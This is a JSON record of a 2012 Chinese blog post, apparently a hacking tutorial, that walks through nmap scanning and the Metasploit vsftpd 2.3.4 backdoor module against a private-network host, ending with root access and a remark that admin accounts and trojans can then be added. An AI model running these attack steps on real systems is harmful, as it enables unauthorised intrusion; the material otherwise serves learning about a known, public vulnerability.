{"id":135,"date":"2012-09-23T15:20:13","date_gmt":"2012-09-23T07:20:13","guid":{"rendered":"http:\/\/www.yeetrack.com\/?p=229"},"modified":"2013-04-20T17:32:23","modified_gmt":"2013-04-20T09:32:23","slug":"metasploit%e5%88%a9%e7%94%a8vsftpd%e6%bc%8f%e6%b4%9e%e8%8e%b7%e5%8f%96root%e6%9d%83%e9%99%90","status":"publish","type":"post","link":"https:\/\/www.yeetrack.com\/?p=135","title":{"rendered":"metasploit\u5229\u7528vsftpd\u6f0f\u6d1e\u83b7\u53d6root\u6743\u9650"},"content":{"rendered":"<p>vsftpd version 2\u52302.3.4\u5b58\u5728\u540e\u95e8\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u8be5\u6f0f\u6d1e\u83b7\u53d6root\u6743\u9650\u3002<!--more-->\u8fd9\u91cc\u7528backtrack \u96c6\u6210\u7684metasploit\u505a\u6d4b\u8bd5,metasploit\u96c6\u6210\u4e86\u5404\u79cd\u5404\u6837\u7684\u6f0f\u6d1e\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u4e0a\u9762\u5229\u7528\u670d\u52a1\u5668\u3001\u4e2a\u4ebaPC\u548c\u5e94\u7528\u7a0b\u5e8f\u7684\u6f0f\u6d1e\u3002\u5f00\u59cb\u83dc\u5355\u8def\u5f84backtrack\/Exploitation tools\/Network Exploitation tools\/metasploitFramework\/msfconsole\uff0c\u8fdb\u5165metasploit\u547d\u4ee4\u884c\u754c\u9762:<br \/><a href=\"https:\/\/www.yeetrack.com\/wp-content\/uploads\/2012\/09\/229-msfconsole.jpg\"><\/a><img decoding=\"async\" src=\"http:\/\/m1.img.libdd.com\/farm4\/2012\/1101\/10\/399BB5023F4EF50A6C15950C604DA6CE07000B778CBE4_500_375.jpg\" \/><br \/>\u7528metasploit\u5185\u7f6e\u7684nmap\u8fdb\u884c\u4e3b\u673a\u626b\u63cf\uff0cnmap -sT -A 192.168.1.101, -sT \u662f\u6307\u7528\u9690\u853d\u7684tcp\u8fdb\u884c\u8fde\u63a5\uff0c-A\u662f\u6307\u5728\u63a2\u6d4b\u4e2d\u5bf9\u670d\u52a1\u8fdb\u884c\u8be6\u7ec6\u7684\u7248\u672c\u6d4b\u8bd5\u3002nmap\u662f\u4e00\u6b3e\u5f3a\u5927\u7684\u626b\u63cf\u5de5\u5177\uff0c\u7b80\u5355\u7684\u4e00\u4e9b\u7528\u6cd5\u8bf7\u70b9\u51fb<a title=\"Backtrack \u547d\u4ee4\u89e3\u6790\uff08information gathering\uff09\" href=\"https:\/\/www.yeetrack.com\/?p=8\">https:\/\/www.yeetrack.com\/?p=8<\/a>\uff0c\u626b\u63cf\u7ed3\u679c\uff1a<br \/><a href=\"https:\/\/www.yeetrack.com\/wp-content\/uploads\/2012\/09\/229-nmap-result.jpg\"><\/a><img decoding=\"async\" src=\"http:\/\/m1.img.libdd.com\/farm5\/2012\/1101\/10\/9D169634F0FE9233110DDB9F529020BEA50998CE91774_500_351.jpg\" \/><br \/>\u7ed3\u679c\u663e\u793a\u76ee\u6807\u4e3b\u673a\u4e0a\u8fd0\u884c\u7740ftp\u670d\u52a1\u5668\uff0c\u7248\u672c\u4e3avsftpd2.3.4\uff0c\u8fd9\u4e2a\u7248\u672c\u7684vsftpd\u5b58\u5728\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u8fdc\u7a0b\u83b7\u53d6\u76ee\u6807\u4e3b\u673a\u7684root\u6743\u9650\u3002<br \/>\u4e0b\u9762\u5229\u7528metasploit\u5b9e\u65bd\u653b\u51fb\u8fc7\u7a0b\uff0c\u8fdb\u5165metasploit\u547d\u4ee4\u884c\uff0csearch vsftpd,\u641c\u7d22\u6709\u5173vsftpd\u7684\u76f8\u5173\u5de5\u5177\u548c\u653b\u51fb\u8f7d\u8377\u3002\u67e5\u627e\u7ed3\u679c\u5982\u4e0b\uff1a<br \/>msf &gt; search vsftpd<br \/>Matching Modules<br \/>================<br \/>Name &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Disclosure Date &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Rank &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Description<br \/>---- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--------------- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;---- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-----------<br \/>exploit\/unix\/ftp\/vsftpd_234_backdoor &nbsp;2011-07-03 00:00:00 UTC &nbsp;excellent &nbsp;VSFTPD v2.3.4 Backdoor Command Execution<br \/>\u5229\u7528\u8be5\u6f0f\u6d1e, \u547d\u4ee4: use exploit\/unix\/ftp\/vsftpd_234_backdoor &nbsp;\uff0c\u8fd9\u6837\u63d0\u793a\u7b26\u5c31\u4f1a\u63d0\u793a\u8fdb\u5165\u5230\u8be5\u8def\u5f84\u4e0b\uff0cshow options\u67e5\u770b\u9700\u8981\u8bbe\u7f6e\u7684\u76f8\u5173\u9879\uff1a<br \/>msf &nbsp;exploit(vsftpd_234_backdoor) &gt; show options<br \/>Module options (exploit\/unix\/ftp\/vsftpd_234_backdoor):<br \/>Name &nbsp;&nbsp;Current Setting &nbsp;Required &nbsp;Description<br \/>---- &nbsp;&nbsp;--------------- &nbsp;-------- &nbsp;-----------<br \/>RHOST &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;yes &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The target address<br \/>RPORT &nbsp;21 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;yes &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The target port<br \/>Exploit target:<br \/>Id &nbsp;Name<br \/>-- &nbsp;----<br \/>0 &nbsp;&nbsp;Automatic<br \/>\u63d0\u793a\u9700\u8981\u8bbe\u7f6eRHOST\uff08\u653b\u51fb\u76ee\u6807\u7684IP\uff09\u3001RPORT\uff08\u76ee\u6807\u7aef\u53e3\uff09\uff0c\u7531\u4e8e\u8fd9\u91cc\u662f\u653b\u51fbftp\u8f6f\u4ef6\uff0c\u7aef\u53e3\u9ed8\u8ba4\u4e3a21\uff0c\u6211\u4eec\u8bbe\u7f6e\u4e00\u4e0b\u76ee\u6807\u7684ip\uff0c\u547d\u4ee4\uff1a set rhost 192.168.1.101, \u5728\u8f93\u5165show options\u56de\u8f66\uff0c\u786e\u8ba4\u4e0b\u53c2\u6570\u8bbe\u7f6e\u6b63\u786e\u3002\u68c0\u67e5\u65e0\u8bef\uff0c\u8f93\u5165\u547d\u4ee4help\uff0c\u67e5\u770b\u76f8\u5173\u7684\u64cd\u7eb5\uff0c\u4e00\u822c\u662frun\u6216\u8005exploit\u5373\u53ef\u5b9e\u65bd\u653b\u51fb\uff0c\u7ed3\u679c\u5982\u56fe\uff1a<br \/><a href=\"https:\/\/www.yeetrack.com\/wp-content\/uploads\/2012\/09\/229-root.jpg\"><\/a><img decoding=\"async\" src=\"http:\/\/m2.img.libdd.com\/farm5\/2012\/1101\/10\/7B40D4DDD50EB2A6FE67F7DE2588122BA0EA6A3626EEC_500_351.jpg\" \/><br \/>\u7ed3\u679c\u663e\u793a\u5df2\u7ecf\u83b7\u53d6\u4e86\u76ee\u6807\u4e3b\u673a\u7684root\u6743\u9650\uff0c\u5efa\u7acb\u7ba1\u7406\u5458\u8d26\u53f7\u3001\u4e0a\u4f20\u6728\u9a6c\u7b49\u52a8\u4f5c\u5c31\u53ef\u4ee5\u5f00\u59cb\u4e86\u3002<br \/>\u672c\u6587\u7531youthflies\u53d1\u8868\u5728<a title=\"\u6613\u8e2a\u7f51\" href=\"https:\/\/www.yeetrack.com\">\u6613\u8e2a\u7f51<\/a>\u4e0a\u7684\u539f\u521b\u6587\u7ae0\uff0c\u672c\u6587\u5730\u5740\uff1a<a title=\"https:\/\/www.yeetrack.com\/?p=229\" href=\"https:\/\/www.yeetrack.com\/?p=229\">https:\/\/www.yeetrack.com\/?p=229<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>vsftpd version 2\u52302.3.4\u5b58\u5728\u540e\u95e8\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u8be5\u6f0f\u6d1e\u83b7\u53d6root\u6743\u9650\u3002<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"pgc_sgb_lightbox_settings":"","footnotes":""},"categories":[35],"tags":[27,26,29],"class_list":["post-135","post","type-post","status-publish","format-standard","hentry","category-hacking","tag-backtrack","tag-26","tag-29"],"views":3954,"_links":{"self":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=135"}],"version-history":[{"count":2,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/135\/revisions"}],"predecessor-version":[{"id":448,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/135\/revisions\/448"}],"wp:attachment":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}